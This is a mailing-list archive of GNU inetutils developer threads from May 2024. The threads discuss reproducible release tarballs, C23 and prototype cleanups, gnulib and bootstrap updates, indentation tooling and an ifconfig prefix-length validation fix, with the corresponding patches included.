Re: Reproducible tarballs

2024-05-20 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Collin Funk  writes:

> Hi Simon,
>
> On 5/12/24 3:56 AM, Simon Josefsson via Bug reports for the GNU Internet 
> utilities wrote:
>> I have committed the attached patches giving us reproducible tarballs.
>> 
>> The particular logic to verify this continously is in the
>> 000-reproducibility pipeline job, code here:
>
> Cool!
>
> A bit late but I see you are also maintainer for the Debian Gnulib
> package. I thought your ideas there seemed really interesting, using a
> distributed git bundle for building packages.
>
> I didn't want to add extra noise to that discussion since I have no
> packaging experience. The best I can do there is try to not modify
> 'gnulib-tool --version' sources so that you don't have to update your
> patches. No promises there but I will do my best. :)

Heh, no worries: further modifications enables us the excercise that
patching implementation which may be useful on its own.  Now that the
idea is implemented, tweaking it shouldn't be that hard.

/Simon


signature.asc
Description: PGP signature


Reproducible tarballs

2024-05-12 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
All,

I have committed the attached patches giving us reproducible tarballs.

The particular logic to verify this continously is in the
000-reproducibility pipeline job, code here:

https://gitlab.com/gnulib/pipeline/-/blob/5b224c783dc4d3ef125f1d3974d895178a820c95/gnu/inetutils.yml#L284

Build results are here:

https://gitlab.com/gsasl/inetutils/-/pipelines/1287332401

With SHA256 checksum output comparisons done here:

https://gitlab.com/gsasl/inetutils/-/jobs/6831038807

/Simon
From 71226a79c9b9c7b1b0ef0d05f8f41ac79dd4e491 Mon Sep 17 00:00:00 2001
From: Simon Josefsson 
Date: Sun, 12 May 2024 10:46:33 +0200
Subject: [PATCH 1/3] maint: Make tarball reproducible.

* cfg.mk (TAR_OPTIONS): Hard code mode and mtime.
* Makefile.am (mtime-NEWS-to-git-HEAD): Add.
(dist-hook): Use it.
---
 Makefile.am | 11 +++
 cfg.mk  |  2 ++
 2 files changed, 13 insertions(+)

diff --git a/Makefile.am b/Makefile.am
index eab6400e..8ffcb90a 100644
--- a/Makefile.am
+++ b/Makefile.am
@@ -46,3 +46,14 @@ gen-ChangeLog:
 		{ rm -f $(distdir)/ChangeLog &&\
 		  mv $(distdir)/cl-t $(distdir)/ChangeLog; }		\
 	fi
+
+# dist
+
+dist-hook: mtime-NEWS-to-git-HEAD
+
+.PHONY: mtime-NEWS-to-git-HEAD
+mtime-NEWS-to-git-HEAD:
+	$(AM_V_GEN)if test -e $(srcdir)/.git \
+			&& command -v git > /dev/null; then \
+		touch -m -d @"$$(git log -1 --format=%ct)" $(srcdir)/NEWS; \
+	fi
diff --git a/cfg.mk b/cfg.mk
index a0333e1c..307982a8 100644
--- a/cfg.mk
+++ b/cfg.mk
@@ -32,6 +32,8 @@ update-copyright-env = \
   UPDATE_COPYRIGHT_USE_INTERVALS=2 \
   UPDATE_COPYRIGHT_MAX_LINE_LENGTH=79
 
+TAR_OPTIONS += --mode=go+u,go-w --mtime=$(srcdir)/NEWS
+
 # maint.mk's public-submodule-commit breaks on shallow gnulib
 submodule-checks =
 gl_public_submodule_commit =
-- 
2.41.0

From 9a3da0007d9507299cf38895ab92ea45aaf3f9d9 Mon Sep 17 00:00:00 2001
From: Simon Josefsson 
Date: Sun, 12 May 2024 11:59:04 +0200
Subject: [PATCH 2/3] telnetd: Make --help output reproducible.

* telnetd/telnetd.c (argp_options): Don't use PATH_LOGIN.
---
 telnetd/telnetd.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/telnetd/telnetd.c b/telnetd/telnetd.c
index 53565d37..25f45440 100644
--- a/telnetd/telnetd.c
+++ b/telnetd/telnetd.c
@@ -112,7 +112,7 @@ static struct argp_option argp_options[] = {
   {"debug", 'D', "LEVEL", OPTION_ARG_OPTIONAL,
"set debugging level", GRID},
   {"exec-login", 'E', "STRING", 0,
-   "set program to be executed instead of " PATH_LOGIN, GRID},
+   "set program to be executed instead of standard login(1)", GRID},
   {"no-hostinfo", 'h', NULL, 0,
"do not print host information before login has been completed", GRID},
   {"linemode", 'l', "MODE", OPTION_ARG_OPTIONAL,
-- 
2.41.0

From af43139504811d5bfdd481db5303e0e5d803dcef Mon Sep 17 00:00:00 2001
From: Simon Josefsson 
Date: Sun, 12 May 2024 12:35:18 +0200
Subject: [PATCH 3/3] NEWS: Mention reproducible tarballs.

---
 NEWS | 5 +
 1 file changed, 5 insertions(+)

diff --git a/NEWS b/NEWS
index 99d570e1..6d7bfef9 100644
--- a/NEWS
+++ b/NEWS
@@ -2,6 +2,11 @@ GNU inetutils NEWS -- history of user-visible changes.
 
 * Noteworthy changes in release ?.? (-??-??) [?]
 
+** The release tarball is now reproducible.
+The following pairs are tested continously: Trisquel 11 and Ubuntu
+22.04, PureOS 10 and Debian 11, AlmaLinux 8 and RockyLinux 8,
+AlmaLinux 9 and RockyLinux 9.
+
 ** syslogd: Build fixes for macOS.
 Thanks to Rui Chen and Caleb Xu, see
 .
-- 
2.41.0



signature.asc
Description: PGP signature


Re: telnet: Make function declarations C23 compatible.

2024-05-12 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Collin Funk  writes:

> With an exception for some Kerberos 4 stuff, which I cannot test. I
> assume the plan is still to remove that as mentioned in TODO?

Let's keep that question open for a while more...

> Also I think that ./configure  --with-shishi is broken, or maybe it is
> because I have a local install?

It is supposed to be tested in the pipeline:

https://gitlab.com/gsasl/inetutils/-/jobs/6830704781

However this is just a compile test, no self-check sets up a KDC and
invoke the commands.

> In any case, I could test telnet commands including encryption by
> modifying my 'config.site'.
>
> $ ./telnet/telnet 
> telnet> encrypt type ?
> Usage: encrypt type  [input|output]
> Valid encryption types:
>   DES_CFB64 (1)
>   DES_OFB64 (2)

Nice!  Telnet is a bit trickier to automate tests for, but maybe some
testing of non-root ftp(d) with kerberos would be possible.

/Simon


signature.asc
Description: PGP signature


Re: libtelnet: Make encryption decls compatible with C23.

2024-05-12 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Collin Funk  writes:

> On 5/10/24 6:52 AM, Simon Josefsson wrote:>> $ ./configure
> CC="gcc-14.1" CFLAGS="-std=c23 -Wstrict-prototypes"
> --enable-authentication --enable-encryption --with-krb5
>> 
>> Ah, you answered my request from the earlier email already :-)
>
> :)
>
>> Looks good, and yes let's improve the compiler warning usage to catch
>> this.  I added a new idiom in last libidn2 that make sense to backport,
>> then --enable-gcc-warnings=error should result in build failures (we
>> should make sure it enabled -Wstrict-prototypes).  A C23 build would be
>> nice too, we alreayd build using latest gcc but not in C23 mode --
>> adding that would be simple.
>
> I think that one should get enabled by Gnulib, but I am not very
> skilled at m4/autoconf. So I may be wrong...
>
> I'll fix the telnet ones in a bit.

I enabled c23 build for gcc-14.1 now, and it passes:

https://gitlab.com/gsasl/inetutils/-/jobs/6830704753

I see we weren't using the warnings module from gnulib at all.  I recall
we were worried that if we are going to start fixing compiler warnings
we'll make the code even more different than other BSD-derived
implementations.  On the other hand, I don't see why fixing valid
compiler warnings is a bad thing.  This project have been conservative
about adapting to modern stuff.  I wish we could test it on some ancient
systems in a sustainable manner.

> There are still some old K declarations and declarations missing
> prototypes for Kerberos 4 stuff. I'm leaving them unchanged since I
> have no way of testing them.

Yeah, I think people have been trying to kill off Kerberos 4 and have
mostly succeeded.  However I think for InetUtils there is some value in
having a forever-maintained telnet etc with Kerberos 4 support.  All
these tools are basically mostly insecure anyway, so the protocol
security argument isn't applicable here.  Testability is a real concern
though -- we can't maintain code we can't test.  I wonder what the last
environment Kerberos 4 was working in was -- or if we reanimate it in
modern environments...  a bit further down on the priority list though.

/Simon


signature.asc
Description: PGP signature


Re: libtelnet: Make encryption decls compatible with C23.

2024-05-10 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Collin Funk  writes:

> I've applied the attached patch to fix the following error building
> libtelnet. I think the only ones remaining are in telnet/*. Once I fix
> that maybe these are good for an existing CI job?
>
> $ ./configure CC="gcc-14.1" CFLAGS="-std=c23 -Wstrict-prototypes" 
> --enable-authentication --enable-encryption --with-krb5

Ah, you answered my request from the earlier email already :-)

Looks good, and yes let's improve the compiler warning usage to catch
this.  I added a new idiom in last libidn2 that make sense to backport,
then --enable-gcc-warnings=error should result in build failures (we
should make sure it enabled -Wstrict-prototypes).  A C23 build would be
nice too, we alreayd build using latest gcc but not in C23 mode --
adding that would be simple.

/Simon

> encrypt.c:208:40: error: initialization of 'Encryptions * (*)(void)'
> from incompatible pointer type 'Encryptions * (*)(int)'
> [-Wincompatible-pointer-types]
>   208 |   {{0}, 0, DIR_ENCRYPT, _mode, findencryption},
>   |^~
> encrypt.c:208:40: note: (near initialization for 'ki[0].getcrypt')
> encrypt.c:209:40: error: initialization of 'Encryptions * (*)(void)'
> from incompatible pointer type 'Encryptions * (*)(int)'
> [-Wincompatible-pointer-types]
>   209 |   {{0}, 0, DIR_DECRYPT, _mode, finddecryption},
>   |^~
> encrypt.c:209:40: note: (near initialization for 'ki[1].getcrypt')
> encrypt.c: In function 'encrypt_keyid':
> encrypt.c:777:9: error: too many arguments to function 'kp->getcrypt'
>   777 |   ep = (*kp->getcrypt) (*kp->modep);
>   |~^~
>
> Collin
>
> From 25816697e6c79ae0e009b4762d8f325dfad6e99e Mon Sep 17 00:00:00 2001
> From: Collin Funk 
> Date: Thu, 9 May 2024 21:10:57 -0700
> Subject: [PATCH] libtelnet: Make encryption decls compatible with C23.
>
> * libtelnet/enc-proto.h (findencryption, finddecryption): Add
> prototypes.
> * libtelnet/encrypt.c (struct key_info): Add the parameter type.
> ---
>  libtelnet/enc-proto.h | 2 ++
>  libtelnet/encrypt.c   | 2 +-
>  2 files changed, 3 insertions(+), 1 deletion(-)
>
> diff --git a/libtelnet/enc-proto.h b/libtelnet/enc-proto.h
> index effdf828..2f8828a5 100644
> --- a/libtelnet/enc-proto.h
> +++ b/libtelnet/enc-proto.h
> @@ -66,6 +66,8 @@
>   */
>  
>  #ifdef   ENCRYPTION
> +Encryptions *findencryption (int);
> +Encryptions *finddecryption (int);
>  int EncryptStart (char *);
>  int EncryptStartInput (void);
>  int EncryptStartOutput (void);
> diff --git a/libtelnet/encrypt.c b/libtelnet/encrypt.c
> index 876208b8..7c95e9c1 100644
> --- a/libtelnet/encrypt.c
> +++ b/libtelnet/encrypt.c
> @@ -203,7 +203,7 @@ static struct key_info
>int keylen;
>int dir;
>int *modep;
> -  Encryptions *(*getcrypt) ();
> +  Encryptions *(*getcrypt) (int);
>  } ki[2] = {
>{{0}, 0, DIR_ENCRYPT, _mode, findencryption},
>{{0}, 0, DIR_DECRYPT, _mode, finddecryption},


signature.asc
Description: PGP signature


Re: maint: Fix most instances of '-Wstrict-prototypes'.

2024-05-10 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Collin Funk  writes:

> Hi,
>
> I've pushed this patch already because it seems pretty
> uncontroversial.
>
> Basically converting some K functions to ISO C and not using empty
> argument lists:

Thanks -- okay with me, although it would have been nice to setup some
way to reproduce the issue and add that to CI/CD testing to avoid
regressions.  How did you notice the problem?

/Simon


signature.asc
Description: PGP signature


Re: Gnulib & bootstrap updates

2024-05-09 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Collin Funk  writes:

> Hi Simon and Gulliem,
>
> On 5/8/24 1:06 PM, Simon Josefsson via Bug reports for the GNU Internet 
> utilities wrote:
>> Hi Guillem.  I added the bootstrap files to the tarball now.
>> 
>> I'm not convinced that this is a good idea, so let's consider this an
>> experiment.  First, this is not recommended by gnulib documentation.
>> Several GNU projects (like coreutils) ship the scripts, and it is good
>> license compliance hygiene to include all source code, so maybe that is
>> a gnulib documentation problem -- but I suspect the reason for this lack
>> of recommendation are due to the second and third issues.
>
> I agree with the points that you bring up. But I noticed a Debian
> developer decided to do the same with groff after the xz-utils fiasco
> [1]. So maybe it is worth experimenting with.
>
> Hopefully reading the documentation included in the tarball should
> clear up the build process for people installing it that way.
>
> [1] https://lists.gnu.org/archive/html/groff/2024-03/msg00211.html

Yes we need to experiment in this area.  But I don't think it is
possible to write documentation explaining how to re-bootstrap from a
tarball.  The tools involved simply doesn't do what I perceive people
expect them to do.  Changing the tools is one possibility, but the
current behaviour is documented [1] and I don't think this will change
in the near future.  Documenting for each project how to erase all local
generated files is fragile and boring work.  I think this is a doomed
approach for many reasons.  We can consider publishing PGP signed 'git
archive'-style tarballs instead.  This gives other advantages.  Most
users are better of using the curated prepared tarballs, but I
acknowledge that distributors have other needs (and are somewhat
prepared to own the problems resulting from that) and we should try to
support this too.

/Simon

[1] https://lists.nongnu.org/archive/html/bug-gnulib/2024-04/msg00052.html


signature.asc
Description: PGP signature


Re: maint: Remove unnecessary standard library extern function decls.

2024-05-09 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Collin Funk  writes:

> Hi Simon,
>
> Are you okay with me pushing the following two patches?
>
> Patch 0001 removes most (all?) of the extern function decls that
> should be in the standard library. They seems harmless, but maybe they
> can mess with Gnulib declarations. We should probably just rely on
> those anyways.
>
> Patch 0002 removes the use of the 'register' keyword. NetBSD did this
> 20 years ago [1][2]. I assume the other BSDs did too, but NetBSD seems
> closer to what we have. So this frivolous change should actually make
> it easier to diff. :)

These looks good to me, thank you!  Please push them.

Btw, if you are used to working on gitlab -- to get feedback from CI/CD
testing directly -- you can push test branches to your personal fork of
https://gitlab.com/gsasl/inetutils and add
"gnu/inetutils.yml@gnulib/pipeline" as the Settings -> CI/CD -> General
pipelines -> CI/CD configuration file.  Working with gitlab has its own
set of issues, so there is no requirement to do this, but if you happen
to be fluent with gitlab this may help improve your contributions.

/Simon


signature.asc
Description: PGP signature


Re: Gnulib & bootstrap updates

2024-05-08 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Guillem Jover  writes:

> Hi!
>
> On Mon, 2024-05-06 at 18:12:53 +0200, Simon Josefsson via Bug reports for the 
> GNU Internet utilities wrote:
>> I have updated inetutils to latest gnulib (to get the u_* syntax-check
>> fixes, and the new faster gnulib-tool.py) and refreshed the bootstrap
>> scripts, please test and report if something broke!
>
> Could you consider shipping at least the bootstrap.conf, but ideally
> also the bootstrap script in the released tarballs, so that it's easy
> to regenerate from gnulib at build time?
>
> (In Debian I'm currently shipping the upstream boostrap.conf as a
> local file, which I'd like to eventually drop.)

Hi Guillem.  I added the bootstrap files to the tarball now.

I'm not convinced that this is a good idea, so let's consider this an
experiment.  First, this is not recommended by gnulib documentation.
Several GNU projects (like coreutils) ship the scripts, and it is good
license compliance hygiene to include all source code, so maybe that is
a gnulib documentation problem -- but I suspect the reason for this lack
of recommendation are due to the second and third issues.

Secondly, running ./bootstrap from a tarball without a .git directory
will die like this:

  ./bootstrap: Bootstrapping from a non-checked-out distribution is risky.

You need to supply --force to avoid this.

Thirdly, which is the reason for the warning, I think people jump to the
wrong conclusion of what running './bootstrap --force' in a normal
(non-minimal) tarball will actually achieve.  What do you hope to
achieve?  Just like running 'autoreconf -fi', running './bootstrap
--force' will NOT re-bootstrap all generated files if you assumed that
(which is unfortunately all too easy to assume).  It may happen to work
for some packages, some of the time, and to re-generate some of the
files, but this 95% correct is a characteristic of many dark patterns.

Would you consider building the Debian package from a PGP signed 'git
archive'-style tarball instead?  If so we could do an alpha release of
that and see how it works for you (the Debian gnulib package needs to be
updated first though, but that's on my todo list).

/Simon


signature.asc
Description: PGP signature


Re: ifconfig: Fix ASAN 'dynamic-stack-buffer-overflow' in formatting.

2024-05-07 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Collin Funk  writes:

> On 5/6/24 6:03 PM, Collin Funk wrote:
>> So I am confident it is a bug. I've applied the attached patch which
>> seems to fix the issue. This is based on a quick glance of the code so
>> I would appreciate others looking it over. Thanks!

Thank you!  I think we should figure out how to run ASAN builds via
CI/CD to catch regression of bugs like this.

> Oops, I forgot to run 'make indent', sorry...
> I'll just leave it for now in case a NEWS entry should also be added
> for this change. I'm not too sure how that works.

Yes please indent code and write a NEWS entry about fixing some ASAN
alarms.

/Simon


signature.asc
Description: PGP signature


Re: cfg.mk: Add checks for 'caddr_t'.

2024-05-07 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Collin Funk  writes:

>> I do mostly agree, however there is another concern: frivolious changes
>> like this makes it harder to align code with BSD implementations for
>> auditing and security backports.  I've sporadically coordinated some
>> security fixes with tnftp which seems to be the maintained BSD ftp
>> implementation.  I've noticed they have a bunch of fixes that went into
>> that code over the years that we don't have.  Of course, they likely
>> won't add any of our improvements, but I don't think there is a lot of
>> arguments why we shouldn't continue to import good patches from BSD ftp
>> to GNU ftp.  I have a mental todo to attempt to do a BSD-to-GNU diff on
>> some of these tools, and backport all reasonable improvements they have.
>
> Ah, good point, thanks for mentioning. Do you happen to know off the
> top of your head what programs are still maintained by the BSDs? If
> not I can do some research and make sure to be more careful making
> changes there.

I recall researching this into some note a couple of years ago, but I
cannot find it now -- from the content of my ~/src/ I see checkouts of
the following NetBSD code that I have used to compare things with:
finger, fingerd, ftp, ftpd, libtelnet, telnet, telnetd, tnftp, tnftpd.

> The BSD-to-GNU diff doesn't sound very fun based on the different
> coding styles alone.

Right, which is a reason to consider the value of that compared to the
costs.  It is easy to run 'indent' on both codes before doing the
comparison though, to actually catch what remaining real changes there
are in the code.  There are many interesting patches in NetBSD that we
never merged that you can find this way.

>> For this particular example, they replaced a (caddr_t*) cast to (char*)
>> which I think is just wrong (the type is sockaddr_in and not char*).  So
>> your patch is better.
>
> I'm assuming you mean (caddr_t) to (char *) here?
>
> I think caddr_t is just a pointer type so it would be fine. I don't
> think the standard grantees all pointer types are the same size, but
> in practice they should be.

Right.

/Simon


signature.asc
Description: PGP signature


Gnulib & bootstrap updates

2024-05-06 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
I have updated inetutils to latest gnulib (to get the u_* syntax-check
fixes, and the new faster gnulib-tool.py) and refreshed the bootstrap
scripts, please test and report if something broke!

/Simon


signature.asc
Description: PGP signature


Re: cfg.mk: Add checks for 'caddr_t'.

2024-05-06 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Collin Funk  writes:

> There are some uses of 'caddr_t' in Inetutils. This is a prehistoric
> BSD type. I think it was because early versions of C didn't
> automatically convert 'void *' to the appropriate type.
...
> Patch 0001 adds a syntax check for this type and patch 0002 removes
> it's uses since this type is not standardized.

Looks good to me, feel free to push.

> I think it would be nice continue removing old C stuff like this.
> Another example is 'index' vs 'strchr' and 'rindex' vs 'strrchr'.
> That stuff probably hinders portability more than it helps as the
> years go on. :)

I do mostly agree, however there is another concern: frivolious changes
like this makes it harder to align code with BSD implementations for
auditing and security backports.  I've sporadically coordinated some
security fixes with tnftp which seems to be the maintained BSD ftp
implementation.  I've noticed they have a bunch of fixes that went into
that code over the years that we don't have.  Of course, they likely
won't add any of our improvements, but I don't think there is a lot of
arguments why we shouldn't continue to import good patches from BSD ftp
to GNU ftp.  I have a mental todo to attempt to do a BSD-to-GNU diff on
some of these tools, and backport all reasonable improvements they have.

For this particular example, they replaced a (caddr_t*) cast to (char*)
which I think is just wrong (the type is sockaddr_in and not char*).  So
your patch is better.

/Simon


signature.asc
Description: PGP signature


Re: cfg.mk: Add checks for 'u_int'.

2024-05-04 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Collin Funk  writes:

> At some point someone added syntax-checks to fail if old BSD types
> where used:
>
>   u_char -> unsigned char
>   u_short -> unsigned short
>   u_long -> unsigned long
>
> But they forgot to do u_int. Patch 0001 adds one for u_int and patch
> 0002 removes them.

Thank you -- looks good to me, feel free to push.

/Simon


signature.asc
Description: PGP signature


Re: Indentation mistake

2024-05-03 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Collin Funk  writes:

> Hi Simon,
>
> On 5/2/24 11:25 AM, Simon Josefsson via Bug reports for the GNU Internet 
> utilities wrote:
>>> Sadly, I cannot do this, at least not easily.  After installing GNU
>>> indent, "make syntax-check" complains about many files:
>>>
>>> $ indent --version
>>> GNU indent 2.2.12
>> You need 2.2.13 :-)
>
> I see that you added the 'syntax-check' for indent in Gnulib. One
> minor problem though, it breaks if the user has an ~/.indent.pro. :)
>
> I don't use indent much, so I forgot my repository where I store
> dotfiles installs this:
>
> $ cat ~/.indent.pro 
> --gnu-style
> --no-tabs
>
> Here lets check if the code is indented:
>
> $ make sc_indent | wc -l
> maint.mk: code format error, try "make indent"
> make: *** [maint.mk:1760: sc_indent] Error 1
> 52751
>
> I was confused for a bit until I saw that file.
>
>$ rm ~/.indent.pro
>$ make sc_indent | wc -l
>1
>
> Indent has -npro that you can use to ignore the file which might be
> good.

Nice catch.  It doesn't make sense for maint.mk's indentation to be
influenced by ~/.indent.pro -- the style has to be a per-project
setting.  I pushed the patch below.

/Simon
From 6213c5bd72d15ca5e1ea9c34122899e02fed448c Mon Sep 17 00:00:00 2001
From: Simon Josefsson 
Date: Fri, 3 May 2024 08:44:03 +0200
Subject: [PATCH] maint.mk: Don't fail on ~/.indent.pro, reported by Collin
 Funk.

* top/maint.mk (indent_args): Use --ignore-profile.
---
 ChangeLog| 5 +
 top/maint.mk | 2 +-
 2 files changed, 6 insertions(+), 1 deletion(-)

diff --git a/ChangeLog b/ChangeLog
index d967c8cfac..2781a70800 100644
--- a/ChangeLog
+++ b/ChangeLog
@@ -1,3 +1,8 @@
+2024-05-03  Simon Josefsson  
+
+	maint.mk: Don't fail on ~/.indent.pro, reported by Collin Funk.
+	* top/maint.mk (indent_args): Use --ignore-profile.
+
 2024-05-02  Collin Funk  
 
 	gnulib-tool.sh: Fix program name in error message.
diff --git a/top/maint.mk b/top/maint.mk
index c30e71ba6e..af865717c4 100644
--- a/top/maint.mk
+++ b/top/maint.mk
@@ -1746,7 +1746,7 @@ refresh-po:
 
 # Indentation
 
-indent_args ?= -ppi 1
+indent_args ?= --ignore-profile --preprocessor-indentation 1
 C_SOURCES ?= $$($(VC_LIST_EXCEPT) | grep '\.[ch]\(.in\)\?$$')
 INDENT_SOURCES ?= $(C_SOURCES)
 exclude_file_name_regexp--indent ?= $(exclude_file_name_regexp--sc_indent)
-- 
2.34.1



signature.asc
Description: PGP signature


Re: Indentation mistake

2024-05-02 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> Hi Simon,
>
> On Thu, May 02, 2024 at 08:08:07PM +0200, Simon Josefsson wrote:
>> tor 2024-05-02 klockan 20:05 +0200 skrev Erik Auerswald:
>> > On Thu, May 02, 2024 at 07:55:23PM +0200, Simon Josefsson via Bug
>> > reports for the GNU Internet utilities wrote:
>> > > [...]
>> > > I worry about self-tests though, it would be nice to beef up on
>> > > that.
>> > > There is a pretty substantial GNU/Linux-centric self-test pipeline
>> > > here
>> > > (I just noticed the last commit broke this due to indentation
>> > > changes):
>> > > 
>> > > https://gitlab.com/gsasl/inetutils/-/pipelines
>> > 
>> > Sorry!
>> > 
>> > I did not notice a missing dependency during "make syntax-check":
>> > 
>> >     $ make syntax-check
>> >     ...
>> >     indent
>> >     maint.mk: sc_indent: GNU indent is missing
>> >     0.01 indent
>> >     ...
>> > 
>> > Thus I did not see this problem.
>> 
>> Don't worry -- that's what the pipeline is there for, and it is easy to
>> fix.  Could you run 'make indent' using a recent GNU indent and push
>> the fix?
>
> Sadly, I cannot do this, at least not easily.  After installing GNU
> indent, "make syntax-check" complains about many files:
>
> $ indent --version
> GNU indent 2.2.12

You need 2.2.13 :-)

> But I can manually break the line as shown in
> <https://gitlab.com/gsasl/inetutils/-/jobs/6731453789>:
>
> - addr.s_addr = n ? htonl (INADDR_BROADCAST << (32 - n)) : INADDR_ANY;
> + addr.s_addr =
> +   n ? htonl (INADDR_BROADCAST << (32 - n)) : INADDR_ANY;
>   str = strdup (inet_ntoa (addr));
>
> Do I need specific indent configuration for GNU Inetutils' "make
> syntax-check"?  Or just a newer version?
>
> Anyway, manually adding the line break and further indentation removes
> "ifconfig" from the output of "make syntax-check", so I'll just push
> that in a moment.

Thank you,
Simon


signature.asc
Description: PGP signature


Re: Indentation mistake (was: Is TODO up-to-date?)

2024-05-02 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
tor 2024-05-02 klockan 20:05 +0200 skrev Erik Auerswald:
> Hi Simon,
> 
> On Thu, May 02, 2024 at 07:55:23PM +0200, Simon Josefsson via Bug
> reports for the GNU Internet utilities wrote:
> > [...]
> > I worry about self-tests though, it would be nice to beef up on
> > that.
> > There is a pretty substantial GNU/Linux-centric self-test pipeline
> > here
> > (I just noticed the last commit broke this due to indentation
> > changes):
> > 
> > https://gitlab.com/gsasl/inetutils/-/pipelines
> 
> Sorry!
> 
> I did not notice a missing dependency during "make syntax-check":
> 
>     $ make syntax-check
>     ...
>     indent
>     maint.mk: sc_indent: GNU indent is missing
>     0.01 indent
>     ...
> 
> Thus I did not see this problem.

Don't worry -- that's what the pipeline is there for, and it is easy to
fix.  Could you run 'make indent' using a recent GNU indent and push
the fix?

/Simon



signature.asc
Description: This is a digitally signed message part


Re: Is TODO up-to-date?

2024-05-02 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Collin Funk  writes:

> Hi,
>
> Is the TODO file generally up-to-date? Now that I have my copyright
> assignment done, maybe I can find some stuff to hack on.

Yay!

> Specifically, are these items still true?

I think you should pretty much assume very little is up to date or
correct in inetutils.

>> generally use gnulib for portability more than we use today:
>>  - getaddrinfo/getnameinfo with IDN support to simplify IDN
>>  complexity

There were discussions around this earlier.  I wanted to move IDN usage
to getaddrinfo/getnameinfo rather than explicit linkage to
libidn/libidn2 but IIRC Mats-Erik objected that this would mean dropping
IDN support on non-glibc platforms which is true.  My take is that
gnulib's getaddrinfo/getnameinfo should be extended to use libidn2 and
IDN functionality on non-glibc platforms, and then inetutils should use
that, and we should drop the direct linkage to libidn2.

>>  - more system header files replacements
>>  - ruserok/wtmp stuff
>>
>> Mingw/cygwin support?

No idea.

> I think it would be nice to use more gnulib stuff. Less dealing with
> preprocessor conditionals and the sort. I know gnulib has some
>  stuff and inet_ntop/inet_ptoa but I haven't looked into
> that area much.

Yes this would be good.

I worry about self-tests though, it would be nice to beef up on that.
There is a pretty substantial GNU/Linux-centric self-test pipeline here
(I just noticed the last commit broke this due to indentation changes):

https://gitlab.com/gsasl/inetutils/-/pipelines

Adding some BSD, Solaris or other hosts to this would be nice, it is
hard to know what currently works before we break/improve things.

> Also, I have attached two patches that modernize stuff to match
> current gnulib. First, with the 'environ' module there is no need for
> 'extern char **environ'. It is handled in unistd.h by gnulib [1].

Looks good, please push.  I don't think a NEWS entry is necessary for
this.

> Second, now that the 'stdbool' module emulates C23, there is no need
> to include stdbool.h. If the compiler doesn't support bool stuff as a
> keyword the header is included in config.h.

Interesting -- is it recommended by gnulib to remove '#include
'?  That is a fairly common idiom for using bool types, so it
seems a bit odd to actively remove it and relying purely on config.h.
Does it harm anything?  In the odd scenario that someone ports this to a
platform with stdbool.h but rips out config.h this will cause additional
breakage.  Not sure if we care about that though, anyone going in that
direction will have to own all pieces anyway...

/Simon


signature.asc
Description: PGP signature


Re: [PATCHv2] ifconfig: prefix length handling fixes for -A

2024-04-24 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> I have done that in the attached patch.
>
> I plan to push the changes in a couple of days, unless I receive negative
> feedback.

Looks great, thank you.

/Simon


signature.asc
Description: PGP signature


Re: memset_explicit: Fix compilation error on some OpenSolaris derivatives

2024-04-24 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Collin Funk  writes:

> Hi Paul,
>
> On 4/23/24 11:22 PM, Paul Eggert wrote:
>> Why is telnetd.h including config.h? Only a top-level C file should
>> include config.h, and it should so so at the start.
>
> I don't disagree. Most of those lines are 20 years old, so I assume it
> wasn't a problem then. Though I do wonder how common those warnings
> would be in other projects.

I think this was fairly common before.  If there had been a 'make
syntax-check' rule for this, we would have caught it!  I have removed
use of HAVE_CONFIG_H and fixed telnetd.h in Inetutils now, thanks.

https://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=32336c79b6aede7beef1d6929b631a53d141cee6
https://git.savannah.gnu.org/cgit/inetutils.git/commit/?id=c7f6910d6832d90be59033911a39de2d4b59de30

/Simon


signature.asc
Description: PGP signature


Re: [PATCH] ifconfig: prefix length handling fixes for -A

2024-04-24 Thread Simon Josefsson via Bug reports for the GNU Internet utilities
Erik Auerswald  writes:

> Hi,
>
> while "ifconfig -A" now accepts CIDR notation, it does not reject prefix
> length values outside of [0,32].  Also, with a prefix length of 0,
> undefined begavior is invoked, and at least on x86_64 a wrong netmask
> is computed.
>
> I think the attached patch fixes this.
>
> If it is OK, I can commit the changes.  What do you think?

Makes sense to me -- when using strtol() one ought to check for LONG_MIN
and LONG_MAX too, but your comparison address that.

   The  strtol() function returns the result of the conversion, unless the
   value would underflow or overflow.  If an  underflow  occurs,  strtol()
   returns  LONG_MIN.

Given that, I would re-order the if statement to compare "n" before
comparing (stale) "end", although I suppose this is somewhat cosmetic.

Maybe add some other odd values in the self-test?  Like
1212237832782387238723823782 and -1238912x1298129.  Thanks for adding
regression checks!

/Simon

> Br,
> Erik
>
> From d4d56a3d36be612d22a9a2146e53698c967ec5e9 Mon Sep 17 00:00:00 2001
> From: Erik Auerswald 
> Date: Tue, 23 Apr 2024 22:28:19 +0200
> Subject: [PATCH] ifconfig: prefix length handling fixes for -A
>
> With option -A, ifconfig accepted too small and too large prefix
> length values.  Depending on the given prefix length value, this
> could result in undefined behavior.  Using a valid prefix length
> of 0 also resulted in undefined behavior and a wrong result on at
> least the x86_64 architecture.
>
> * NEWS: Mention ifconfig fixes.
> * ifconfig/options.c (parse_opt): Reject too small and too large
> prefix length values for IPv4 addresses.  Avoid undefined behavior
> with a prefix length of 0.
> * tests/ifconfig.sh: Test rejection of invalid prefix length value
> examples.
> ---
>  NEWS   |  3 +++
>  ifconfig/options.c |  4 ++--
>  tests/ifconfig.sh  | 11 +++
>  3 files changed, 16 insertions(+), 2 deletions(-)
>
